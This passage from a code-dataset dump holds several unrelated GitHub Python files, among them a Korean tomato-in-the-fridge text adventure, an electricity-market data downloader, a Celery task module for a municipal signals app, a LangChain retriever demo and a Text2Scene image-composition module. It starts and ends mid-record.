??일 ')\r\n print('===================================')\r\n print(' ??명 수량 금? ')\r\n print('===================================')\r\n print(' 토?토 1 ?00 ')\r\n print(' 치즈 ? ?2?? ')\r\n print(' 느타리버섯 2 19?? ')\r\n print('-----------------------------------')\r\n print(' ?매?액 ?1??')\r\n input()\r\n input('> 이 메모가 뜻하는 것은 무엇일까...')\r\n break\r\n elif memo == '아니' :\r\n input('> 그냥 계속 걷기로 했다.')\r\n break\r\n else:\r\n continue\r\ninput()\r\n\r\n#물건 쌓기\r\ninput('그러고 보니 이곳이 지하인지, 지상인지도 모른다. 위쪽에 다른 층이 있는 것 같은데...')\r\ninput('올라가 볼까?')\r\ninput('계단이나 사다리는 없지만 주변 물건을 쌓으면 올라갈 수 있을 것 같다.')\r\ninput()\r\ninput('큰 것부터 차례로 쌓아보자.')\r\ninput(\"(10크기의 ‘상자’/ 1크기의 ‘고무조각’/7크기의 ‘나무발판’/5크기의 ‘페트병’이 있다.)\")\r\ninput(\"(순서대로 ‘’안의 글자만 입력)\")\r\nwhile True:\r\n 물건순서=[]\r\n 쌓기반복횟수=0\r\n for 쌓기반복횟수 in range(0,4):\r\n 물건순서.append(input(':'))\r\n if 물건순서==['상자','나무발판','페트병','고무조각']:\r\n input('> 위층으로 올라왔다.')\r\n break\r\n else:\r\n input('쌓은 물건들이 무너져 버렸다.')\r\n input('처음부터 다시 쌓아야 할 것 같다.')\r\nprint()\r\n\r\n#위층둘러보기\r\ninput('위층도 아래와 별반 다르지 않다.')\r\ninput('공기는 냉기로 가득하고 벽에는 성에가 덕지덕지 붙어 있다.')\r\ninput('아니, 조금 더 추운가?')\r\ninput('내 몸이 점점 얼어가는 건지도...')\r\ninput()\r\ninput('저 안쪽에 뭔가 윙윙 돌아가는 소리가 들린다.')\r\ninput('소리가 울릴 때마다 내 머리도 같이 둔해지는 것만 같아.')\r\ninput('어서 이곳을 나가야겠다.')\r\ninput()\r\n\r\n#윗층 자세히 둘러보기\r\ninput('주변을 좀 더 자세하게 둘러보자.')\r\ninput('이곳을 나갈 수 있는 통로나 단서를 찾을 수 있을지도 모르니까.')\r\ninput('(빛이 있는 곳/벽/소리가 나는 곳/큰 유리병/그만 둘러본다)')\r\nwhile True:\r\n 윗층_둘러보기=input(':')\r\n if 윗층_둘러보기=='빛이 있는 곳':\r\n input()\r\n input('> 희미한 빛을 따라갔다.')\r\n input('전등이 반쯤 나갔는지 지지직거리기도 한다.')\r\n input('빛을 보고 달려들었는지 작은 초파리 따위들이 죽어있다.')\r\n input('모든 것이 단단히 얼어 있다. 초파리마저 꿈쩍하지 않는다.')\r\n elif 윗층_둘러보기=='벽':\r\n input()\r\n input('> 성에가 가득 낀 벽을 살펴보았다.')\r\n input('주변에 물건이 많은 탓에 빛이 잘 들지 않아 어둡다.')\r\n input('벽에 불그스름한게 묻어 있다.')\r\n input('...설마 피인가...?')\r\n input('자세히 보니 피보다는 음식물 같기도...')\r\n input('뭘까? 아무 냄새도 나지 않는다. 코가 얼어버렸나...')\r\n input('에츄!')\r\n elif 윗층_둘러보기=='소리가 나는 곳':\r\n input()\r\n input('> 아까부터 윙윙 울리던 소음의 근원지를 찾아갔다.')\r\n input('위층에 올라와서 더 추워진 게 기분 탓만은 아니었다.')\r\n input('찬 공기가 이곳을 통해 나오고 있었다.')\r\n input('여기에 계속 있다가는 몸이 더 차가워질 것만 같다.')\r\n elif 윗층_둘러보기=='큰 유리병':\r\n input()\r\n input('> 내 키의 2~3배쯤 되어보이는 큰 유리병이 있다.')\r\n input('안은 온통 붉은 것으로 ���득 차 있다.')\r\n input('이게 뭐지...?')\r\n input('유리병의 뒷면에는 그림이 붙어 있다.')\r\n input('나와 내 친구들, 그리고 가족들과 닮은 듯한 그림.')\r\n input('위아래로 뭔가 적혀 있는 것이 보이지만, 저 병을 계속 쳐다볼 용기가 나지 않는다.')\r\n input('우리와 닮은 그림.')\r\n input('그 안에 가득 찬 붉은 무언가.')\r\n elif 윗층_둘러보기=='그만 둘러본다':\r\n input('> 이만하면 다 둘러본 것 같다.')\r\n break\r\n else:\r\n continue\r\n input()\r\n input('다른곳을 더 둘러보자.')\r\n\r\n\r\n#유리병 지나기\r\nprint()\r\ninput('계속해서 움직이다 보니 또 다른 유리병이 보였다.')\r\ninput('습기 때문에 잘 보이지 않는다.')\r\ninput('문득 비친 내 모습은…(유리병을 닦아보세요)')\r\nprint('░░░░░░░░')\r\n닦은횟수=0\r\nwhile True:\r\n 닦기여부=input('닦아볼까?(닦는다/그냥 간다):')\r\n if 닦기여부=='닦는다':\r\n 닦은횟수+=1\r\n if 닦은횟수==1:\r\n print('동░░고░░░░')\r\n elif 닦은횟수==2:\r\n print('동그░고░붉░░')\r\n elif 닦은횟수==3:\r\n print('동그░고 붉다░')\r\n elif 닦은횟수==4:\r\n print('동그랗고 붉다.')\r\n else:\r\n print('이제 더이샹 닦지 않아도 잘 보인다.')\r\n break\r\n elif 닦기여부=='그냥 간다':\r\n input('이런것까지 신경쓸 시간이 없다.')\r\n input('빨리 나갈 단서라도 찾아야지.')\r\n break\r\n else:\r\n continue\r\ninput('가던 길을 계속 갔다.')\r\n\r\n\r\n\r\n#정체추정\r\ninput()\r\ninput('이제 탈출이 머지 않은 것 같다.')\r\ninput('동시에… 내가 무엇인지 좀 알 것 같아.')\r\ninput('사실 나는… (정체를 맞혀보세요)')\r\n정체=input(':')\r\nif 정체=='토마토':\r\n input('그래… 나는 토마토였어!')\r\n input('나는 얼마 전까지만 해도 사랑하는 가족들과 친구들이랑 나무에 매달려 있었어.')\r\n input('그런 나를 누군가가 이곳으로 끌고 온 거야.')\r\n input('그렇다면 춥디 추운 이 곳은...')\r\nelse:\r\n input('> 아무래도 아직 두통이 가시지 않은 것 같아. ')\r\nprint()\r\n\r\n#나갈까?\r\ninput('드디어 나갈 수 있는 길을 찾았다.')\r\ninput('탈출할까?')\r\nwhile True:\r\n 탈출대답=input('(나간다/나가지 않는다):')\r\n if 탈출대답=='나간다':\r\n input()\r\n input('밝은 빛이다!')\r\n input('드디어 밖으로 나왔다. 이제 집으로 돌아갈 수…!')\r\n input('')\r\n input('[어라? 토마토가 왜 밖에 나와 있지?]')\r\n input('[꺼낸 적 없는데... ]')\r\n input('[보인 김에 오늘은 토마토 파스타나 해 먹을까?]')\r\n break\r\n elif 탈출대답=='나가지 않는다':\r\n input()\r\n input('내가 있는 곳은 바로 냉장고 속이었다.')\r\n input('인간의 손길이 뻗치길 수 번.')\r\n input('나는 꽁치 통조림 뒤에 숨고, 대파 단 사이에 위장을 하며 인간에게 먹히지 않고 버텨냈다.')\r\n input('수많은 식재료들이 들어왔다 끌려가며 인간의 식사로 전락해 버렸지만 나는 죽지 않아!')\r\n input('끝까지 살아남을거야!')\r\n break\r\n else:\r\n continue\r\n\r\ninput('────────────────────\\n──────░──────░──────\\n───────░────▒░──────\\n──────▒░▒▒█▒░░░▓──────\\n────░░░░░░▒▒▓▓▓▓▓▓░░░░░░────\\n───░░░░░░░░░░░░░░░░░░░░░░░░░░───\\n──░░░░░░░░░░░░░░░░░░░░░░░░▒░▒░──\\n─░░░░░░░░░░░░░░░░░░░▒▒▒▒▒▒▒░─\\n─░░░░░░░░░░░░░░░░▒▒▒▒▒▒▒▒▒─\\n─░░░░░░░░░░░░▒▒▒▒▒▒▒▒▒▒▒─\\n─░░░░░░░░░▒▒ END ▒▒▒▒▒▒▒─\\n─░░░░░░▒▒▒▒▒▒▒▒▒▒▒▒▒▒─\\n─░░░░░░░░▒▒▒▒▒▒▒▒▒▒▒▒▒─\\n──░░░░░▒▒▒▒▒▒▒▒▒▒▒▒▒░─\\n──░░░░░░▒▒▒▒▒▒▒▒▒▒▒▒──\\n───░░░░░░▒▒▒▒▒▒▒▒▒▒───\\n────░░░▒▒▓▓▓▓▓▓▓▓▓▓▓▓░▒────')\r\n","repo_name":"OhYuSeon/learningfair","sub_path":"프로젝트 합본.py","file_name":"프로젝트 합본.py","file_ext":"py","file_size_in_byte":11980,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"19395172886","text":"import numpy as np\nimport click\n\nfrom data_supplier import opt_sentences_data_supplier\nfrom util.corpus_accessor import CorpusAccessor\n\ncorpus_accessor = CorpusAccessor()\n\n@click.group()\ndef cmd():\n pass\n\n@cmd.command()\ndef verificate_rouge_score():\n scores = []\n total = len(corpus_accessor.exist_ncodes)\n for i, ncode in enumerate(corpus_accessor.exist_ncodes):\n print('[INFO] PROGRESS: {:.1f}'.format(i/total*100))\n data = opt_sentences_data_supplier.load(ncode)\n scores.append(data['rouge']['r'])\n bins = np.arange(0, 1, 0.05)\n h, b = np.histogram(scores, bins=bins)\n for key, value in zip(b, h):\n print('{:.2f}: {:.1f}%'.format(key, value / total * 100))\n\n@cmd.command()\ndef verificate_sentence_count():\n count = []\n total = len(corpus_accessor.exist_ncodes)\n for i, ncode in enumerate(corpus_accessor.exist_ncodes):\n if i % 100 == 0:\n print('[INFO] PROGRESS: {:.1f}'.format(i/total*100))\n data = opt_sentences_data_supplier.load(ncode)\n count.append(len(data['opt_sentence_index']))\n bins = np.arange(1, 7, 1)\n h, b = np.histogram(count, bins=bins)\n for key, value in zip(b, h):\n print('{:.2f}: {}'.format(key, value))\n\n@cmd.command()\ndef verificate_long_short_novel():\n \"\"\"\n あらすじが1文の場合と6文の場合で長編と短編の割合をみる\n \"\"\"\n one_long = 0\n one_short = 0\n six_long = 0\n six_short = 0\n total = len(corpus_accessor.exist_ncodes)\n for i, ncode in enumerate(corpus_accessor.exist_ncodes):\n if i % 100 == 0:\n print('[INFO] PROGRESS: {:.1f}'.format(i/total*100))\n data = opt_sentences_data_supplier.load(ncode)\n length = len(data['opt_sentence_index'])\n if length == 1 and corpus_accessor.is_long(ncode):\n one_long += 1\n elif length == 1 and not corpus_accessor.is_long(ncode):\n one_short += 1\n elif length == 6 and corpus_accessor.is_long(ncode):\n six_long += 1\n elif length == 6 and not corpus_accessor.is_long(ncode):\n six_short += 1\n print('one_long: ', one_long)\n print('one_short: ', one_short)\n print('six_long: ', six_long)\n print('six_short', six_short)\n\n\n\ndef main():\n cmd()\n\nif __name__ == '__main__':\n main()","repo_name":"keisuke-kiriyama/SynopsisMan","sub_path":"src/temp/opt_sentences_data_verification.py","file_name":"opt_sentences_data_verification.py","file_ext":"py","file_size_in_byte":2313,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"21666614357","text":"row1 = [\"⬜️\", \"⬜️\", \"⬜️\"]\nrow2 = [\"⬜️\", \"⬜️\", \"⬜️\"]\nrow3 = [\"⬜️\", \"⬜️\", \"⬜️\"]\nmap = [row1, row2, row3]\n\nprint(\"Welcome to Treasure Map. Made by Arben KRYEMADHI!\")\nprint(f\"{row1}\\n{row2}\\n{row3}\")\nposition = input(\"Where do you want to put the treasure? \")\n\nvertical_num = int(position[0])\nhorizontal_num = int(position[1])\n\nmap[horizontal_num - 1][vertical_num - 1] = \"X\"\n\nprint(f\"{row1}\\n{row2}\\n{row3}\")\n","repo_name":"arbenkryemadhi/100-days-of-code-python","sub_path":"Exercises/04.2 Treasure Map/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":442,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"52"} +{"seq_id":"42093021844","text":"import datetime\nimport pandas as pd\nimport xlrd\nimport aiohttp\nimport asyncio\nimport os\nimport schedule\nimport time\nfrom database import table_exists, create_table, insert_data\nfrom utils import log_message\n\n# to retrieve data from oree.com.ua we could have used web scraping that can handle javascript (selenium, puppeteer, etc.)\n# but we can also use the url that is used by javascript to download the file directly (better solution)\n# the url is https://www.oree.com.ua/index.php/PXS/downloadxlsx/09.06.2023/DAM/2\n# to get the desired file we need to change the date parameter in the url {09.06.2023} to any date (historical data is also available)\n# if there is no data for the date, the file will contain only header \n# xlrd is needed to read the xls file (pandas is raising an error due to the corrupted xls file)\n\nworkdir = os.path.dirname(__file__)\n\n# check if the file was already downloaded and processed\ndef data_downloaded(date):\n with open(f'{workdir}/status_log.txt', 'r') as f:\n if date in f.read():\n return True\n else:\n return False\n \n \nasync def download_file(url, xls_file):\n # async function to download xls file\n async with aiohttp.ClientSession() as session:\n async with session.get(url, verify_ssl = False) as resp:\n if resp.status == 200:\n with open(xls_file, 'wb') as f:\n f.write(await resp.read())\n else:\n log_message(f'error while downloading the file. Status code: {resp.status}')\n \n\ndef delete_file(file):\n # used to delete the file it we don't need it anymore (xls file)\n if os.path.exists(file):\n os.remove(file)\n \n\n# create a function to check if the data is available (if the file contains more than 1 row, not only header)\ndef data_available(xls_file, date):\n workbook = xlrd.open_workbook(xls_file, ignore_workbook_corruption=True)\n sheet = workbook.sheet_by_index(0)\n if sheet.nrows > 1:\n log_message(f'data for {date} is available and ready to be processed')\n delete_file(xls_file)\n return workbook\n else:\n log_message(f'data for {date} is not available yet')\n delete_file(xls_file)\n return None \n \n\n# create a function to process the data and save it to csv file\ndef process_data(workbook, date):\n try:\n df = pd.read_excel(workbook, sheet_name=0, header=None, usecols=[0, 1, 2], skiprows=1)\n workbook.release_resources()\n df[0] = df[0].str[:2]\n df[1] = df[1].str.replace(' ', '')\n df[2] = df[2].str.replace(' ', '')\n df[1] = df[1].str.replace(',', '.') \n df[2] = df[2].str.replace(',', '.')\n df[0] = df[0].astype(int)\n df[1] = df[1].astype(float)\n df[2] = df[2].astype(float)\n date = datetime.datetime.strptime(date, '%d.%m.%Y').date()\n df.insert(0, 3, date)\n header = ['date', 'hour', 'price', 'volume']\n df.columns = header\n # log message with date string to avoid confusion\n log_message(f'data for {date.strftime(\"%d.%m.%Y\")} was successfully processed')\n except Exception as e1:\n log_message(f'error while processing data: {e1}')\n try:\n \n if not table_exists():\n # create table if it does not exist\n create_table()\n \n # insert data to the table\n for i, row in df.iterrows():\n insert_data(row['date'], row['hour'], row['price'], row['volume'])\n log_message(f'data for {date.strftime(\"%d.%m.%Y\")} was successfully saved to the database')\n \n # echo date to the 'status.log' to avoid processing the same data twice\n with open(f'{workdir}/status_log.txt', 'a') as f:\n f.write(f'{date.strftime(\"%d.%m.%Y\")}\\n')\n \n except Exception as e2:\n log_message(f'error while saving data to database: {e2}')\n \n\nasync def fetch_dam_data(date):\n # set url to download the file\n url = f'https://www.oree.com.ua/index.php/PXS/downloadxlsx/{date}/DAM/2'\n xls_file = os.path.join(os.path.dirname(__file__), f'dam_{date}.xls')\n \n await download_file(url, xls_file)\n workbook = data_available(xls_file, date)\n if workbook:\n process_data(workbook, date)\n\ndef job_function(date):\n # download data if it was not downloaded yet (check status_log.txt)\n if not data_downloaded(date):\n asyncio.run(fetch_dam_data(date))\n else:\n log_message(f'data for {date} was already downloaded and processed')\n schedule.cancel_job(job)\n\nif __name__ == '__main__':\n tomorrow_date = (datetime.date.today() + datetime.timedelta(days=1)).strftime('%d.%m.%Y')\n job = schedule.every(1).minute.do(job_function, tomorrow_date) # run the job every minute (can be modified to run every second, hour etc.)\n \n minute_limit = 30 # limit the number of minutes to run the script (can be modified or removed if needed)\n \n # script will run until the data is downloaded and processed OR until the time limit is reached (not to run forever if something goes wrong)\n while minute_limit > 0:\n n = schedule.idle_seconds() # returns the number of seconds until the next scheduled job\n if n is None:\n break\n elif n > 0:\n time.sleep(n) # sleep until the next job is scheduled to run\n minute_limit -= 1\n print(f'Running script for {tomorrow_date} ... {minute_limit} iteration(s) left')\n schedule.run_pending()\n else:\n log_message(f'Script was stopped due to the time limit. Data for {tomorrow_date} was not downloaded!')\n","repo_name":"LexGlu/energy-data-api","sub_path":"get_dam.py","file_name":"get_dam.py","file_ext":"py","file_size_in_byte":5636,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"71449219685","text":"count = int(input())\nstack=[]\nfor i in range(count):\n temp = input()\n while True:\n if '()' in temp:\n temp = temp.replace('()','')\n elif '(' in temp or ')' in temp or ')(' in temp:\n print('NO')\n break\n elif len(temp) == 0:\n print('YES')\n break","repo_name":"DieGlory/BaekJoon_python","sub_path":"9012.py","file_name":"9012.py","file_ext":"py","file_size_in_byte":324,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"9810205331","text":"import logging\nfrom datetime import timedelta\n\nfrom django.conf import settings\nfrom django.utils import timezone\n\nfrom signals.apps.sigmax.stuf_protocol.outgoing import handle\nfrom signals.apps.signals import workflow\nfrom signals.apps.signals.models import Signal, Status\nfrom signals.celery import app\n\nlogger = logging.getLogger(__name__)\n\n\ndef _is_status_applicable(status: Status) -> bool:\n \"\"\"\n Check if the given status is applicable for further processing in Sigmax.\n\n Parameters\n ----------\n status : Status\n The status object to be checked.\n\n Returns\n -------\n bool\n True if the status is applicable, False otherwise.\n\n Notes\n -----\n The status is considered applicable if the following conditions are met:\n - The state of the status is `workflow.TE_VERZENDEN`.\n - The target API of the status is `Status.TARGET_API_SIGMAX`.\n\n Examples\n --------\n >>> s = Status()\n >>> s.state = workflow.TE_VERZENDEN\n >>> s.target_api = Status.TARGET_API_SIGMAX\n >>> _is_status_applicable(s)\n True\n\n >>> s.state = workflow.TE_VERZENDEN\n >>> s.target_api = None\n >>> _is_status_applicable(s)\n False\n \"\"\"\n return status.state == workflow.TE_VERZENDEN and status.target_api == Status.TARGET_API_SIGMAX\n\n\ndef is_signal_applicable(signal: Signal) -> bool:\n \"\"\"\n Check if the given signal is applicable for further processing.\n\n Parameters\n ----------\n signal : Signal\n The signal object to be checked.\n\n Returns\n -------\n bool\n True if the signal is applicable, False otherwise.\n\n Notes\n -----\n The signal is considered applicable if the status of the signal is applicable based on\n the `_is_status_applicable` function.\n\n Examples\n --------\n >>> s = Signal()\n >>> s.status = Status()\n >>> s.status.state = workflow.TE_VERZENDEN\n >>> s.status.target_api = Status.TARGET_API_SIGMAX\n >>> is_signal_applicable(s)\n True\n\n >>> s.status.target_api = Status.TARGET_API_GISIB\n >>> is_signal_applicable(s)\n False\n \"\"\"\n assert signal.status is not None\n\n return _is_status_applicable(signal.status)\n\n\n@app.task\ndef push_to_sigmax(signal_id: int) -> None:\n \"\"\"\n Push the signal with the given ID to Sigmax if applicable.\n\n Parameters\n ----------\n signal_id : int\n The ID of the signal to be pushed.\n\n Notes\n -----\n This function attempts to retrieve the signal with the given ID from the database.\n If the signal exists, it checks if the signal is applicable for further processing\n using the `is_signal_applicable` function. If applicable, the signal is handled\n by calling the `handle` function.\n\n If the signal with the given ID does not exist, an exception is logged.\n\n Examples\n --------\n >>> push_to_sigmax(123)\n # If signal with ID 123 exists and is applicable, it will be handled\n \"\"\"\n try:\n signal = Signal.objects.get(pk=signal_id)\n except Signal.DoesNotExist as e:\n logger.exception(e)\n else:\n if is_signal_applicable(signal):\n handle(signal)\n\n\n@app.task\ndef fail_stuck_sending_signals() -> None:\n \"\"\"\n Fail signals that are stuck in the sending state for too long.\n\n Notes\n -----\n This function identifies signals that are in the sending state (`workflow.TE_VERZENDEN`)\n and have a target API of `Status.TARGET_API_SIGMAX`. It checks if the signals have been\n in the sending state for longer than the specified timeout period (`settings.SIGMAX_SEND_FAIL_TIMEOUT_MINUTES`).\n If such signals are found, their status is updated to `workflow.VERZENDEN_MISLUKT` and a failure message\n is added to the status text.\n\n Examples\n --------\n >>> fail_stuck_sending_signals()\n # If there are signals stuck in the sending state for too long, they will be marked as failed\n \"\"\"\n before = timezone.now() - timedelta(minutes=float(settings.SIGMAX_SEND_FAIL_TIMEOUT_MINUTES))\n stuck_signals = Signal.objects.filter(status__state=workflow.TE_VERZENDEN,\n status__target_api=Status.TARGET_API_SIGMAX,\n status__updated_at__lte=before)\n\n for signal in stuck_signals:\n Signal.actions.update_status(data={\n 'state': workflow.VERZENDEN_MISLUKT,\n 'text': 'Melding stond langer dan {} minuten op TE_VERZENDEN. Mislukt'.format(\n settings.SIGMAX_SEND_FAIL_TIMEOUT_MINUTES\n )\n }, signal=signal)\n","repo_name":"Amsterdam/signals","sub_path":"app/signals/apps/sigmax/tasks.py","file_name":"tasks.py","file_ext":"py","file_size_in_byte":4534,"program_lang":"python","lang":"en","doc_type":"code","stars":16,"dataset":"github-code","pt":"52"} +{"seq_id":"20566689584","text":"from langchain.schema import Document\nfrom langchain.embeddings import OpenAIEmbeddings\nfrom langchain.vectorstores import Chroma\n\n# should be separate file\nfrom langchain.llms import OpenAI\nfrom langchain.retrievers.self_query.base import SelfQueryRetriever\nfrom langchain.chains.query_constructor.base import AttributeInfo\n\nimport os\nfrom dotenv import load_dotenv\nload_dotenv()\n\nOPENAI_KEY = os.getenv(\"OPENAI_API_KEY\")\n\nembeddings = OpenAIEmbeddings(openai_api_key=OPENAI_KEY)\n\ndocuments = [\n Document(\n page_content=\"Local supermarket\",\n metadata={\n \"name\": \"Billa\",\n \"category\": \"infrastructure\",\n \"subcategory\": \"supermarket\",\n \"address\": \"Hauptstraße 34/369, 2651 Reichenau an der Rax\",\n \"opening_hours\": \"7am\",\n \"closing_hours\": \"7:15pm\",\n \"service_options\": \"Delivery, In-store pick-up, In-store shopping\",\n \"accessibility\": \"Wheelchair-accessible car park, Wheelchair-accessible entrance\",\n \"phone\": \"05991503445\",\n \"payment_types\": \"Cash, Credit cards, Debit cards, NFC mobile payments\",\n \"new_offers\": \"All cheese at half-price for the entire month of December 2023.\",\n \"reviews\": \"Good Supermarkt With cheaps prices in AUSTRIA\",\n \"website_url\": \"https://www.billa.at/\"\n }\n ),\n Document(\n page_content=\"\",\n metadata={\"name\": \"Evangelische Henriettenkapelle\", \"category\": \"touristic\", \"subcategory\": \"monument\"}\n ),\n Document(\n page_content=\"\",\n metadata={\"name\": \"Gasthotel Kobald\", \"category\": \"hotel\"}\n ),\n Document(\n page_content = \"accommodation, Place to sleep, \",\n metadata = {\"name\":\"Haus Trautenberg\",\"category\":\"hotel\"}\n ),\n Document(\n page_content = \"\",\n metadata = {\"name\":\"L'attore Ristorante e Pizzeria\",\"category\":\"restaurant\", \"subcategory\":\"Italian\"}\n ),\n Document(\n page_content = \"\",\n metadata = {\"name\":\"Parkhotel Hirschwang\",\"category\":\"hotel\"}\n ),\n Document(\n page_content = \"\",\n metadata = {\"name\":\"Parking 1\",\"category\":\"infrastructure\", \"subcategory\" : \"parking\"}\n ),\n Document(\n page_content = \"\",\n metadata = {\"name\":\"Payerbach-Reichenau\",\"category\":\"infrastructure\", \"subcategory\" : \"train station\"}\n ),\n Document(\n page_content = \"\",\n metadata = {\"name\":\"Schneeberg\",\"category\":\"touristic\", \"subcategory\" : \"ski slope\"}\n ),\n Document(\n page_content = \"\",\n metadata = {\"name\":\"Schwarzer Weg\",\"category\":\"touristic\", \"subcategory\" : \"trekking trail\"}\n ),\n Document(\n page_content = \"\",\n metadata = {\"name\":\"bp\",\"category\":\"infrastructure\", \"subcategory\" : \"gas station\"}\n ),\n]\ndocument_content_description = \"Brief description of local touristic points\"\n\nvectorstore = Chroma.from_documents(documents, embeddings)\n\n\nmetadata_field_info = [\n AttributeInfo(\n name = \"name\",\n description = \"Name of the touristic point\",\n type = \"string or list [string]\"\n ),\n AttributeInfo(\n name = \"category\",\n description = \"The category of the touristic point\",\n type = \"string or list [string]\"\n ),\n AttributeInfo(\n name = \"subcategory\",\n description = \"The subcategory of the touristic point\",\n type = \"string or list [string]\"\n ),\n]\n\nllm = OpenAI(temperature = 0)\n\nretriever = SelfQueryRetriever.from_llm(\n llm,\n vectorstore,\n document_content_description,\n metadata_field_info,\n verbose = True\n)\n\n# examples\n\ntest = retriever.get_relevant_documents(\"What are some hotels near by?\")\nprint(test)","repo_name":"polux0/mobility-hub","sub_path":"self-querying-retrieval/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":3687,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"43194485296","text":"#!/usr/bin/env python\n\nimport os, sys, cv2, math\nimport random, json, logz\nimport numpy as np\nimport pickle, shutil\nimport os.path as osp\nfrom copy import deepcopy\n\nimport matplotlib.pyplot as plt\nfrom glob import glob\n\nimport torch\nimport torch.nn as nn\nimport torch.optim as optim\nfrom torch.utils.data import DataLoader\n\nfrom composites_config import get_config\nfrom composites_utils import *\nfrom optim import Optimizer\n\nfrom datasets.composites_loader import sequence_loader, patch_vol_loader\nfrom nntable import AllCategoriesTables\n\nfrom modules.puzzle_model import PuzzleModel\nfrom modules.synthesis_model import SynthesisModel\n\n\nclass ComposerInpainter(object):\n def __init__(self, db):\n self.db = db\n self.cfg = db.cfg\n self.composer = PuzzleModel(db)\n self.inpainter = SynthesisModel(self.cfg)\n if self.cfg.cuda:\n self.composer = self.composer.cuda()\n self.inpainter = self.inpainter.cuda()\n self.composer = self.load_pretrained_net(self.composer, 'composites_ckpts', self.cfg.composer_pretrained)\n self.inpainter = self.load_pretrained_net(self.inpainter, 'synthesis_ckpts', self.cfg.inpainter_pretrained)\n \n def load_pretrained_net(self, net, prefix, pretrained_name):\n cache_dir = osp.join(self.cfg.data_dir, 'caches')\n pretrained_path = osp.join(cache_dir, prefix, pretrained_name+'.pkl')\n assert osp.exists(pretrained_path)\n if self.cfg.cuda:\n states = torch.load(pretrained_path)\n else:\n states = torch.load(pretrained_path, map_location=lambda storage, loc: storage)\n net.load_state_dict(states['state_dict'])\n return net\n\n def decode_attention(self, word_inds, word_lens, att_logits):\n _, att_inds = torch.topk(att_logits, 3, -1)\n att_inds = att_inds.cpu().data.numpy()\n\n if len(word_inds.shape) > 1:\n lin_inds = []\n for i in range(word_inds.shape[0]):\n lin_inds.extend(word_inds[i, : word_lens[i]].tolist())\n vlen = len(lin_inds)\n npad = self.cfg.max_input_length * 3 - vlen\n lin_inds = lin_inds + [0] * npad\n # print(lin_inds)\n lin_inds = np.array(lin_inds).astype(np.int32)\n else:\n lin_inds = word_inds.copy()\n\n slen, _ = att_inds.shape\n attn_words = []\n for i in range(slen):\n w_inds = [lin_inds[x] for x in att_inds[i]]\n w_strs = [self.db.lang_vocab.index2word[x] for x in w_inds]\n attn_words = attn_words + [w_strs]\n\n return attn_words\n\n def sample_demo(self, input_sentences, nn_table):\n output_dir = osp.join(self.cfg.model_dir, 'inpainted_samples')\n maybe_create(output_dir)\n plt.switch_backend('agg')\n num_sents = len(input_sentences)\n out_h, out_w = self.cfg.output_image_size[1], self.cfg.output_image_size[0]\n for i in range(num_sents):\n sentence = input_sentences[i]\n ##############################################################\n # Inputs\n ##############################################################\n word_inds, word_lens = self.db.encode_sentence(sentence)\n input_inds_np = np.array(word_inds)\n input_lens_np = np.array(word_lens)\n input_inds = torch.from_numpy(input_inds_np).long().unsqueeze(0)\n input_lens = torch.from_numpy(input_lens_np).long().unsqueeze(0)\n if self.cfg.cuda:\n input_inds = input_inds.cuda()\n input_lens = input_lens.cuda()\n ##############################################################\n # Inference\n ##############################################################\n self.composer.eval()\n self.inpainter.eval()\n with torch.no_grad():\n inf_outs, env = self.composer.inference(input_inds, input_lens, -1, 1.0, 0, None, None, nn_table)\n frames, noises, masks, labels, env_info = env.batch_redraw(return_sequence=True)\n in_proposal = frames[0][-1]; noise = noises[0][-1]; in_mask = 255 * masks[0][-1]; in_label = labels[0][-1]\n in_proposal, _ = heuristic_collage(in_proposal, 83)\n # bounding box of the mask\n nonzero_pixels = cv2.findNonZero(in_mask.astype(np.uint8))\n x,y,w,h = cv2.boundingRect(nonzero_pixels)\n xyxy = np.array([int(x), int(y), int(x+w), int(y+h)])\n in_mask = in_mask[xyxy[1]:xyxy[3], xyxy[0]:xyxy[2]]\n in_label = in_label[xyxy[1]:xyxy[3], xyxy[0]:xyxy[2]] \n in_proposal = in_proposal[xyxy[1]:xyxy[3], xyxy[0]:xyxy[2], :] \n # print('in_proposal', in_proposal.shape)\n in_proposal = cv2.resize(in_proposal, (out_h, out_w), interpolation = cv2.INTER_CUBIC)\n in_mask = cv2.resize(in_mask, (out_h, out_w), interpolation = cv2.INTER_NEAREST)\n in_label = cv2.resize(in_label, (out_h, out_w), interpolation = cv2.INTER_NEAREST)\n in_mask = in_mask.astype(np.float32)\n in_mask = 255.0 - in_mask\n in_vol = np.concatenate((in_label[..., None], in_mask[..., None], in_proposal[:,:,::-1].copy()), -1)\n\n in_vol = torch.from_numpy(in_vol).unsqueeze(0)\n out, _, _, _ = self.inpainter(in_vol, False, None)\n out = out[0].cpu().data.numpy().transpose((1,2,0))\n out = clamp_array(out, 0, 255).astype(np.uint8)\n ##############################################################\n # Draw\n ##############################################################\n fig = plt.figure(figsize=(32, 32))\n plt.suptitle(sentence, fontsize=40)\n for j in range(len(frames[0])):\n plt.subplot(4, 4, j+1)\n # plt.title(subtitle, fontsize=30)\n if self.cfg.use_color_volume:\n vis_img, _ = heuristic_collage(frames[0][j], 83)\n else:\n vis_img = frames[0][j][:,:,-3:]\n vis_img = clamp_array(vis_img[ :, :, ::-1], 0, 255).astype(np.uint8)\n plt.imshow(vis_img)\n plt.axis('off')\n plt.subplot(4, 4, 16)\n plt.imshow(out)\n plt.axis('off')\n\n out_path = osp.join(output_dir, '%09d.png'%i)\n fig.savefig(out_path, bbox_inches='tight')\n plt.close(fig)\n \n","repo_name":"uvavision/Text2Scene","sub_path":"lib/modules/composer_inpainter.py","file_name":"composer_inpainter.py","file_ext":"py","file_size_in_byte":6489,"program_lang":"python","lang":"en","doc_type":"code","stars":115,"dataset":"github-code","pt":"52"} +{"seq_id":"73950047205","text":"#!/usr/bin/env python\n# encoding: utf-8\n\"\"\"\n@author: HuRuiFeng\n@file: my_decision_tree.py\n@time: 2021/8/5 17:11\n@project: statistical-learning-method-solutions-manual\n@desc: 习题5.1 自编程实现C4.5生成算法\n\"\"\"\nimport json\nfrom 